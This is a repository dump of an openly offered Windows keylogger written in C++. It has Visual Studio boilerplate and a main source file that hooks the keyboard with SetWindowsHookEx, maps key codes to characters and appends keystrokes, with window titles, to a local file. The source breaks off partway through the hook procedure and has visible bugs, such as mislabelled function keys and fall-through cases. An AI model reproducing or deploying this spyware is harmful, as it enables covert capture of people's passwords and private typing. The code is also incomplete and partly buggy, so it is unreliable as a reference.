├── SetWindowsHookEx-Keylogger ├── SetWindowsHookEx-Keylogger │ ├── stdafx.cpp │ ├── targetver.h │ ├── stdafx.h │ ├── SetWindowsHookEx-Keylogger.vcxproj.filters │ ├── ReadMe.txt │ ├── SetWindowsHookEx-Keylogger.vcxproj │ └── SetWindowsHookEx-Keylogger.cpp └── SetWindowsHookEx-Keylogger.sln ├── LICENSE ├── README.md ├── .gitattributes └── .gitignore /SetWindowsHookEx-Keylogger/SetWindowsHookEx-Keylogger/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // SetWindowsHookEx-Keylogger.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /SetWindowsHookEx-Keylogger/SetWindowsHookEx-Keylogger/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /SetWindowsHookEx-Keylogger/SetWindowsHookEx-Keylogger/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | 10 | #include 11 | #include 12 | 13 | 14 | 15 | // TODO: reference additional headers your program requires here 16 | -------------------------------------------------------------------------------- /SetWindowsHookEx-Keylogger/SetWindowsHookEx-Keylogger.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SetWindowsHookEx-Keylogger", "SetWindowsHookEx-Keylogger\SetWindowsHookEx-Keylogger.vcxproj", "{63E16732-0BAE-4EB2-8580-BC2D2330FD2E}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {63E16732-0BAE-4EB2-8580-BC2D2330FD2E}.Debug|x64.ActiveCfg = Debug|x64 17 | {63E16732-0BAE-4EB2-8580-BC2D2330FD2E}.Debug|x64.Build.0 = Debug|x64 18 | {63E16732-0BAE-4EB2-8580-BC2D2330FD2E}.Debug|x86.ActiveCfg = Debug|Win32 19 | {63E16732-0BAE-4EB2-8580-BC2D2330FD2E}.Debug|x86.Build.0 = Debug|Win32 20 | {63E16732-0BAE-4EB2-8580-BC2D2330FD2E}.Release|x64.ActiveCfg = Release|x64 21 | {63E16732-0BAE-4EB2-8580-BC2D2330FD2E}.Release|x64.Build.0 = Release|x64 22 | {63E16732-0BAE-4EB2-8580-BC2D2330FD2E}.Release|x86.ActiveCfg = Release|Win32 23 | {63E16732-0BAE-4EB2-8580-BC2D2330FD2E}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /SetWindowsHookEx-Keylogger/SetWindowsHookEx-Keylogger/SetWindowsHookEx-Keylogger.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | 29 | 30 | Source Files 31 | 32 | 33 | Source Files 34 | 35 | 36 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | File: SetWindowsHookEx-Keylogger 2 | Author: Alexander Rymdeko-Harvey(@Killswitch-GUI) 3 | License: BSD 3-Clause 4 | 5 | Copyright (c) 2016, Alexander Rymdeko-Harvey 6 | All rights reserved. 7 | 8 | Redistribution and use in source and binary forms, with or without 9 | modification, are permitted provided that the following conditions are met: 10 | 11 | * Redistributions of source code must retain the above copyright notice, 12 | this list of conditions and the following disclaimer. 13 | * Redistributions in binary form must reproduce the above copyright 14 | notice, this list of conditions and the following disclaimer in the 15 | documentation and/or other materials provided with the distribution. 16 | * Neither the name of nor the names of its contributors may be used to 17 | endorse or promote products derived from this software without specific 18 | prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 23 | ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 24 | LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 25 | CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 26 | SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 27 | INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 28 | CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 29 | ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 30 | POSSIBILITY OF SUCH DAMAGE. 31 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SetWindowsHookEx-Keylogger 2 | Windows C++ Native Keylogger using SetWindowsHookEx 3 | 4 | # License 5 | - File: SetWindowsHookEx-Keylogger Project 6 | - Author: Alexander Rymdeko-Harvey(@Killswitch-GUI) 7 | - License: BSD 3-Clause 8 | 9 | Copyright (c) 2016, Alexander Rymdeko-Harvey 10 | All rights reserved. 11 | 12 | Redistribution and use in source and binary forms, with or without 13 | modification, are permitted provided that the following conditions are met: 14 | 15 | * Redistributions of source code must retain the above copyright notice, 16 | this list of conditions and the following disclaimer. 17 | * Redistributions in binary form must reproduce the above copyright 18 | notice, this list of conditions and the following disclaimer in the 19 | documentation and/or other materials provided with the distribution. 20 | * Neither the name of nor the names of its contributors may be used to 21 | endorse or promote products derived from this software without specific 22 | prior written permission. 23 | 24 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 25 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 26 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 27 | ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 28 | LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 29 | CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 30 | SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 31 | INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 32 | CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 33 | ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 34 | POSSIBILITY OF SUCH DAMAGE. 35 | -------------------------------------------------------------------------------- /SetWindowsHookEx-Keylogger/SetWindowsHookEx-Keylogger/ReadMe.txt: -------------------------------------------------------------------------------- 1 | ======================================================================== 2 | CONSOLE APPLICATION : SetWindowsHookEx-Keylogger Project Overview 3 | ======================================================================== 4 | 5 | AppWizard has created this SetWindowsHookEx-Keylogger application for you. 6 | 7 | This file contains a summary of what you will find in each of the files that 8 | make up your SetWindowsHookEx-Keylogger application. 9 | 10 | 11 | SetWindowsHookEx-Keylogger.vcxproj 12 | This is the main project file for VC++ projects generated using an Application Wizard. 13 | It contains information about the version of Visual C++ that generated the file, and 14 | information about the platforms, configurations, and project features selected with the 15 | Application Wizard. 16 | 17 | SetWindowsHookEx-Keylogger.vcxproj.filters 18 | This is the filters file for VC++ projects generated using an Application Wizard. 19 | It contains information about the association between the files in your project 20 | and the filters. This association is used in the IDE to show grouping of files with 21 | similar extensions under a specific node (for e.g. ".cpp" files are associated with the 22 | "Source Files" filter). 23 | 24 | SetWindowsHookEx-Keylogger.cpp 25 | This is the main application source file. 26 | 27 | ///////////////////////////////////////////////////////////////////////////// 28 | Other standard files: 29 | 30 | StdAfx.h, StdAfx.cpp 31 | These files are used to build a precompiled header (PCH) file 32 | named SetWindowsHookEx-Keylogger.pch and a precompiled types file named StdAfx.obj. 33 | 34 | ///////////////////////////////////////////////////////////////////////////// 35 | Other notes: 36 | 37 | AppWizard uses "TODO:" comments to indicate parts of the source code you 38 | should add to or customize. 39 | 40 | ///////////////////////////////////////////////////////////////////////////// 41 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | 4 | # User-specific files 5 | *.suo 6 | *.user 7 | *.userosscache 8 | *.sln.docstates 9 | 10 | # User-specific files (MonoDevelop/Xamarin Studio) 11 | *.userprefs 12 | 13 | # Build results 14 | [Dd]ebug/ 15 | [Dd]ebugPublic/ 16 | [Rr]elease/ 17 | [Rr]eleases/ 18 | [Xx]64/ 19 | [Xx]86/ 20 | [Bb]uild/ 21 | bld/ 22 | [Bb]in/ 23 | [Oo]bj/ 24 | 25 | # Visual Studio 2015 cache/options directory 26 | .vs/ 27 | # Uncomment if you have tasks that create the project's static files in wwwroot 28 | #wwwroot/ 29 | 30 | # MSTest test Results 31 | [Tt]est[Rr]esult*/ 32 | [Bb]uild[Ll]og.* 33 | 34 | # NUNIT 35 | *.VisualState.xml 36 | TestResult.xml 37 | 38 | # Build Results of an ATL Project 39 | [Dd]ebugPS/ 40 | [Rr]eleasePS/ 41 | dlldata.c 42 | 43 | # DNX 44 | project.lock.json 45 | artifacts/ 46 | 47 | *_i.c 48 | *_p.c 49 | *_i.h 50 | *.ilk 51 | *.meta 52 | *.obj 53 | *.pch 54 | *.pdb 55 | *.pgc 56 | *.pgd 57 | *.rsp 58 | *.sbr 59 | *.tlb 60 | *.tli 61 | *.tlh 62 | *.tmp 63 | *.tmp_proj 64 | *.log 65 | *.vspscc 66 | *.vssscc 67 | .builds 68 | *.pidb 69 | *.svclog 70 | *.scc 71 | 72 | # Chutzpah Test files 73 | _Chutzpah* 74 | 75 | # Visual C++ cache files 76 | ipch/ 77 | *.aps 78 | *.ncb 79 | *.opendb 80 | *.opensdf 81 | *.sdf 82 | *.cachefile 83 | *.VC.db 84 | 85 | # Visual Studio profiler 86 | *.psess 87 | *.vsp 88 | *.vspx 89 | *.sap 90 | 91 | # TFS 2012 Local Workspace 92 | $tf/ 93 | 94 | # Guidance Automation Toolkit 95 | *.gpState 96 | 97 | # ReSharper is a .NET coding add-in 98 | _ReSharper*/ 99 | *.[Rr]e[Ss]harper 100 | *.DotSettings.user 101 | 102 | # JustCode is a .NET coding add-in 103 | .JustCode 104 | 105 | # TeamCity is a build add-in 106 | _TeamCity* 107 | 108 | # DotCover is a Code Coverage Tool 109 | *.dotCover 110 | 111 | # NCrunch 112 | _NCrunch_* 113 | .*crunch*.local.xml 114 | nCrunchTemp_* 115 | 116 | # MightyMoose 117 | *.mm.* 118 | AutoTest.Net/ 119 | 120 | # Web workbench (sass) 121 | .sass-cache/ 122 | 123 | # Installshield output folder 124 | [Ee]xpress/ 125 | 126 | # DocProject is a documentation generator add-in 127 | DocProject/buildhelp/ 128 | DocProject/Help/*.HxT 129 | DocProject/Help/*.HxC 130 | DocProject/Help/*.hhc 131 | DocProject/Help/*.hhk 132 | DocProject/Help/*.hhp 133 | DocProject/Help/Html2 134 | DocProject/Help/html 135 | 136 | # Click-Once directory 137 | publish/ 138 | 139 | # Publish Web Output 140 | *.[Pp]ublish.xml 141 | *.azurePubxml 142 | 143 | # TODO: Un-comment the next line if you do not want to checkin 144 | # your web deploy settings because they may include unencrypted 145 | # passwords 146 | #*.pubxml 147 | *.publishproj 148 | 149 | # NuGet Packages 150 | *.nupkg 151 | # The packages folder can be ignored because of Package Restore 152 | **/packages/* 153 | # except build/, which is used as an MSBuild target. 154 | !**/packages/build/ 155 | # Uncomment if necessary however generally it will be regenerated when needed 156 | #!**/packages/repositories.config 157 | # NuGet v3's project.json files produces more ignoreable files 158 | *.nuget.props 159 | *.nuget.targets 160 | 161 | # Microsoft Azure Build Output 162 | csx/ 163 | *.build.csdef 164 | 165 | # Microsoft Azure Emulator 166 | ecf/ 167 | rcf/ 168 | 169 | # Microsoft Azure ApplicationInsights config file 170 | ApplicationInsights.config 171 | 172 | # Windows Store app package directory 173 | AppPackages/ 174 | BundleArtifacts/ 175 | 176 | # Visual Studio cache files 177 | # files ending in .cache can be ignored 178 | *.[Cc]ache 179 | # but keep track of directories ending in .cache 180 | !*.[Cc]ache/ 181 | 182 | # Others 183 | ClientBin/ 184 | [Ss]tyle[Cc]op.* 185 | ~$* 186 | *~ 187 | *.dbmdl 188 | *.dbproj.schemaview 189 | *.pfx 190 | *.publishsettings 191 | node_modules/ 192 | orleans.codegen.cs 193 | 194 | # RIA/Silverlight projects 195 | Generated_Code/ 196 | 197 | # Backup & report files from converting an old project file 198 | # to a newer Visual Studio version. Backup files are not needed, 199 | # because we have git ;-) 200 | _UpgradeReport_Files/ 201 | Backup*/ 202 | UpgradeLog*.XML 203 | UpgradeLog*.htm 204 | 205 | # SQL Server files 206 | *.mdf 207 | *.ldf 208 | 209 | # Business Intelligence projects 210 | *.rdl.data 211 | *.bim.layout 212 | *.bim_*.settings 213 | 214 | # Microsoft Fakes 215 | FakesAssemblies/ 216 | 217 | # GhostDoc plugin setting file 218 | *.GhostDoc.xml 219 | 220 | # Node.js Tools for Visual Studio 221 | .ntvs_analysis.dat 222 | 223 | # Visual Studio 6 build log 224 | *.plg 225 | 226 | # Visual Studio 6 workspace options file 227 | *.opt 228 | 229 | # Visual Studio LightSwitch build output 230 | **/*.HTMLClient/GeneratedArtifacts 231 | **/*.DesktopClient/GeneratedArtifacts 232 | **/*.DesktopClient/ModelManifest.xml 233 | **/*.Server/GeneratedArtifacts 234 | **/*.Server/ModelManifest.xml 235 | _Pvt_Extensions 236 | 237 | # LightSwitch generated files 238 | GeneratedArtifacts/ 239 | ModelManifest.xml 240 | 241 | # Paket dependency manager 242 | .paket/paket.exe 243 | 244 | # FAKE - F# Make 245 | .fake/ -------------------------------------------------------------------------------- /SetWindowsHookEx-Keylogger/SetWindowsHookEx-Keylogger/SetWindowsHookEx-Keylogger.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {63E16732-0BAE-4EB2-8580-BC2D2330FD2E} 23 | Win32Proj 24 | SetWindowsHookExKeylogger 25 | 8.1 26 | 27 | 28 | 29 | Application 30 | true 31 | v140 32 | Unicode 33 | 34 | 35 | Application 36 | false 37 | v140 38 | true 39 | Unicode 40 | 41 | 42 | Application 43 | true 44 | v140 45 | Unicode 46 | 47 | 48 | Application 49 | false 50 | v140 51 | true 52 | Unicode 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | true 74 | 75 | 76 | true 77 | 78 | 79 | false 80 | 81 | 82 | false 83 | 84 | 85 | 86 | 87 | 88 | Level3 89 | Disabled 90 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 91 | true 92 | 93 | 94 | Console 95 | true 96 | 97 | 98 | 99 | 100 | 101 | 102 | Level3 103 | Disabled 104 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 105 | true 106 | 107 | 108 | Console 109 | true 110 | 111 | 112 | 113 | 114 | Level3 115 | 116 | 117 | MaxSpeed 118 | true 119 | true 120 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 121 | true 122 | 123 | 124 | Console 125 | true 126 | true 127 | true 128 | 129 | 130 | 131 | 132 | Level3 133 | 134 | 135 | MaxSpeed 136 | true 137 | true 138 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 139 | true 140 | 141 | 142 | Console 143 | true 144 | true 145 | true 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | -------------------------------------------------------------------------------- /SetWindowsHookEx-Keylogger/SetWindowsHookEx-Keylogger/SetWindowsHookEx-Keylogger.cpp: -------------------------------------------------------------------------------- 1 | // SetWindowsHookEx-Keylogger.cpp : Defines the entry point for the console application. 2 | // 3 | 4 | #include "stdafx.h" 5 | #include 6 | #include "time.h" 7 | #include "string" 8 | #include 9 | #include 10 | #include 11 | 12 | // KeyBoard hook handle in global scope 13 | HHOOK KeyboardHook; 14 | // Shift Key 15 | bool shift = FALSE; 16 | // Windows Title Text -260 char- 17 | char cWindow[1000]; 18 | // NULL is ok 19 | HWND lastWindow = NULL; 20 | // File Path 21 | std::string fileName = "C:\\test.txt"; 22 | 23 | // All hooks must be unhooked! 24 | void unhookKeyboard() 25 | { 26 | UnhookWindowsHookEx(KeyboardHook); 27 | exit(0); 28 | 29 | } 30 | 31 | std::string HookCode(DWORD code, BOOL caps, BOOL shift) 32 | { 33 | /* 34 | Translate the return code from hook and 35 | return the std::string rep of the the code. 36 | ex. 0x88 -> "[SHIFT]" 37 | caps = Caps lock on 38 | shift = Shift key pressed 39 | WinUser.h = define statments 40 | LINK = https://msdn.microsoft.com/en-us/library/dd375731(v=VS.85).aspx 41 | */ 42 | std::string key; 43 | switch (code) // SWITCH ON INT 44 | { 45 | // Char keys for ASCI 46 | // No VM Def in header 47 | case 0x41: key = caps ? (shift ? "a" : "A") : (shift ? "A" : "a"); break; 48 | case 0x42: key = caps ? (shift ? "b" : "B") : (shift ? "B" : "b"); break; 49 | case 0x43: key = caps ? (shift ? "c" : "C") : (shift ? "C" : "c"); break; 50 | case 0x44: key = caps ? (shift ? "d" : "D") : (shift ? "D" : "d"); break; 51 | case 0x45: key = caps ? (shift ? "e" : "E") : (shift ? "E" : "e"); break; 52 | case 0x46: key = caps ? (shift ? "f" : "F") : (shift ? "F" : "f"); break; 53 | case 0x47: key = caps ? (shift ? "g" : "G") : (shift ? "G" : "g"); break; 54 | case 0x48: key = caps ? (shift ? "h" : "H") : (shift ? "H" : "h"); break; 55 | case 0x49: key = caps ? (shift ? "i" : "I") : (shift ? "I" : "i"); break; 56 | case 0x4A: key = caps ? (shift ? "j" : "J") : (shift ? "J" : "j"); break; 57 | case 0x4B: key = caps ? (shift ? "k" : "K") : (shift ? "K" : "k"); break; 58 | case 0x4C: key = caps ? (shift ? "l" : "L") : (shift ? "L" : "l"); break; 59 | case 0x4D: key = caps ? (shift ? "m" : "M") : (shift ? "M" : "m"); break; 60 | case 0x4E: key = caps ? (shift ? "n" : "N") : (shift ? "N" : "n"); break; 61 | case 0x4F: key = caps ? (shift ? "o" : "O") : (shift ? "O" : "o"); break; 62 | case 0x50: key = caps ? (shift ? "p" : "P") : (shift ? "P" : "p"); break; 63 | case 0x51: key = caps ? (shift ? "q" : "Q") : (shift ? "Q" : "q"); break; 64 | case 0x52: key = caps ? (shift ? "r" : "R") : (shift ? "R" : "r"); break; 65 | case 0x53: key = caps ? (shift ? "s" : "S") : (shift ? "S" : "s"); break; 66 | case 0x54: key = caps ? (shift ? "t" : "T") : (shift ? "T" : "t"); break; 67 | case 0x55: key = caps ? (shift ? "u" : "U") : (shift ? "U" : "u"); break; 68 | case 0x56: key = caps ? (shift ? "v" : "V") : (shift ? "V" : "v"); break; 69 | case 0x57: key = caps ? (shift ? "w" : "W") : (shift ? "W" : "w"); break; 70 | case 0x58: key = caps ? (shift ? "x" : "X") : (shift ? "X" : "x"); break; 71 | case 0x59: key = caps ? (shift ? "y" : "Y") : (shift ? "Y" : "y"); break; 72 | case 0x5A: key = caps ? (shift ? "z" : "Z") : (shift ? "Z" : "z"); break; 73 | // Sleep Key 74 | case VK_SLEEP: key = "[SLEEP]"; break; 75 | // Num Keyboard 76 | case VK_NUMPAD0: key = "0"; break; 77 | case VK_NUMPAD1: key = "1"; break; 78 | case VK_NUMPAD2 : key = "2"; break; 79 | case VK_NUMPAD3: key = "3"; break; 80 | case VK_NUMPAD4: key = "4"; break; 81 | case VK_NUMPAD5: key = "5"; break; 82 | case VK_NUMPAD6: key = "6"; break; 83 | case VK_NUMPAD7: key = "7"; break; 84 | case VK_NUMPAD8: key = "8"; break; 85 | case VK_NUMPAD9: key = "9"; break; 86 | case VK_MULTIPLY: key = "*"; break; 87 | case VK_ADD: key = "+"; break; 88 | case VK_SEPARATOR: key = "-"; break; 89 | case VK_SUBTRACT: key = "-"; break; 90 | case VK_DECIMAL: key = "."; break; 91 | case VK_DIVIDE: key = "/"; break; 92 | // Function Keys 93 | case VK_F1: key = "[F1]"; break; 94 | case VK_F2: key = "[F2]"; break; 95 | case VK_F3: key = "[F3]"; break; 96 | case VK_F4: key = "[F4]"; break; 97 | case VK_F5: key = "[F5]"; break; 98 | case VK_F6: key = "[F6]"; break; 99 | case VK_F7: key = "[F7]"; break; 100 | case VK_F8: key = "[F8]"; break; 101 | case VK_F9: key = "[F9]"; break; 102 | case VK_F10: key = "[F10]"; break; 103 | case VK_F11: key = "[F11]"; break; 104 | case VK_F12: key = "[F12]"; break; 105 | case VK_F13: key = "[F13]"; break; 106 | case VK_F14: key = "[F14]"; break; 107 | case VK_F15: key = "[F15]"; break; 108 | case VK_F16: key = "[F16]"; break; 109 | case VK_F17: key = "[F17]"; break; 110 | case VK_F18: key = "[F18]"; break; 111 | case VK_F19: key = "[F19]"; break; 112 | case VK_F20: key = "[F20]"; break; 113 | case VK_F21: key = "[F22]"; break; 114 | case VK_F22: key = "[F23]"; break; 115 | case VK_F23: key = "[F24]"; break; 116 | case VK_F24: key = "[F25]"; break; 117 | // Keys 118 | case VK_NUMLOCK: key = "[NUM-LOCK]"; break; 119 | case VK_SCROLL: key = "[SCROLL-LOCK]"; break; 120 | case VK_BACK: key = "[BACK]"; break; 121 | case VK_TAB: key = "[TAB]"; break; 122 | case VK_CLEAR: key = "[CLEAR]"; break; 123 | case VK_RETURN: key = "[ENTER]"; break; 124 | case VK_SHIFT: key = "[SHIFT]"; break; 125 | case VK_CONTROL: key = "[CTRL]"; break; 126 | case VK_MENU: key = "[ALT]"; break; 127 | case VK_PAUSE: key = "[PAUSE]"; break; 128 | case VK_CAPITAL: key = "[CAP-LOCK]"; break; 129 | case VK_ESCAPE: key = "[ESC]"; break; 130 | case VK_SPACE: key = "[SPACE]"; break; 131 | case VK_PRIOR: key = "[PAGEUP]"; break; 132 | case VK_NEXT: key = "[PAGEDOWN]"; break; 133 | case VK_END: key = "[END]"; break; 134 | case VK_HOME: key = "[HOME]"; break; 135 | case VK_LEFT: key = "[LEFT]"; break; 136 | case VK_UP: key = "[UP]"; break; 137 | case VK_RIGHT: key = "[RIGHT]"; break; 138 | case VK_DOWN: key = "[DOWN]"; break; 139 | case VK_SELECT: key = "[SELECT]"; break; 140 | case VK_PRINT: key = "[PRINT]"; break; 141 | case VK_SNAPSHOT: key = "[PRTSCRN]"; break; 142 | case VK_INSERT: key = "[INS]"; break; 143 | case VK_DELETE: key = "[DEL]"; break; 144 | case VK_HELP: key = "[HELP]"; break; 145 | // Number Keys with shift 146 | case 0x30: key = shift ? "!" : "1"; break; 147 | case 0x31: key = shift ? "@" : "2"; break; 148 | case 0x32: key = shift ? "#" : "3"; break; 149 | case 0x33: key = shift ? "$" : "4"; break; 150 | case 0x34: key = shift ? "%" : "5"; break; 151 | case 0x35: key = shift ? "^" : "6"; break; 152 | case 0x36: key = shift ? "&" : "7"; break; 153 | case 0x37: key = shift ? "*" : "8"; break; 154 | case 0x38: key = shift ? "(" : "9"; break; 155 | case 0x39: key = shift ? ")" : "0"; break; 156 | // Windows Keys 157 | case VK_LWIN: key = "[WIN]"; break; 158 | case VK_RWIN: key = "[WIN]"; break; 159 | case VK_LSHIFT: key = "[SHIFT]"; break; 160 | case VK_RSHIFT: key = "[SHIFT]"; break; 161 | case VK_LCONTROL: key = "[CTRL]"; break; 162 | case VK_RCONTROL: key = "[CTRL]"; break; 163 | // OEM Keys with shift 164 | case VK_OEM_1: key = shift ? ":" : ";"; break; 165 | case VK_OEM_PLUS: key = shift ? "+" : "="; break; 166 | case VK_OEM_COMMA: key = shift ? "<" : ","; break; 167 | case VK_OEM_MINUS: key = shift ? "_" : "-"; break; 168 | case VK_OEM_PERIOD: key = shift ? ">" : "."; break; 169 | case VK_OEM_2: key = shift ? "?" : "/"; break; 170 | case VK_OEM_3: key = shift ? "~" : "`"; break; 171 | case VK_OEM_4: key = shift ? "{" : "["; break; 172 | case VK_OEM_5: key = shift ? "\\" : "|"; break; 173 | case VK_OEM_6: key = shift ? "}" : "]"; break; 174 | case VK_OEM_7: key = shift ? "'" : "'"; break; //TODO: Escape this char: " 175 | // Action Keys 176 | case VK_PLAY: key = "[PLAY]"; 177 | case VK_ZOOM: key = "[ZOOM]"; 178 | case VK_OEM_CLEAR: key = "[CLEAR]"; 179 | case VK_CANCEL: key = "[CTRL-C]"; 180 | 181 | default: key = "[UNK-KEY]";break; 182 | } 183 | return key; 184 | 185 | } 186 | 187 | std::string Dayofweek(int code) 188 | { 189 | // Return Day of the year in text 190 | std::string name; 191 | switch (code) 192 | { 193 | case 0: name = "[SUNDAY]"; break; 194 | case 1: name = "[MONDAY]"; break; 195 | case 2: name = "[TUESDAY]"; break; 196 | case 3: name = "[WENSDAY]"; break; 197 | case 4: name = "[THURSDAY]"; break; 198 | case 5: name = "[FRIDAY]"; break; 199 | case 6: name = "[SATURDAY]"; break; 200 | default: 201 | name = "[UNKOWN]"; 202 | } 203 | return name; 204 | } 205 | 206 | LRESULT CALLBACK HookProcedure(int nCode, WPARAM wParam, LPARAM lParam) 207 | { 208 | /* 209 | SHORT WINAPI GetKeyState( 210 | _In_ int nVirtKeydasdsad 211 | ); 212 | */ 213 | std::ofstream myfile(fileName, std::ios::out | std::ios::app); 214 | bool caps = FALSE; 215 | SHORT capsShort = GetKeyState(VK_CAPITAL); 216 | std::string outPut; 217 | std::stringstream temp; 218 | if (capsShort > 0) 219 | { 220 | // If the high-order bit is 1, the key is down; otherwise, it is up 221 | caps = TRUE; 222 | } 223 | /* 224 | WH_KEYBOARD_LL uses the LowLevelKeyboardProc Call Back 225 | LINK = 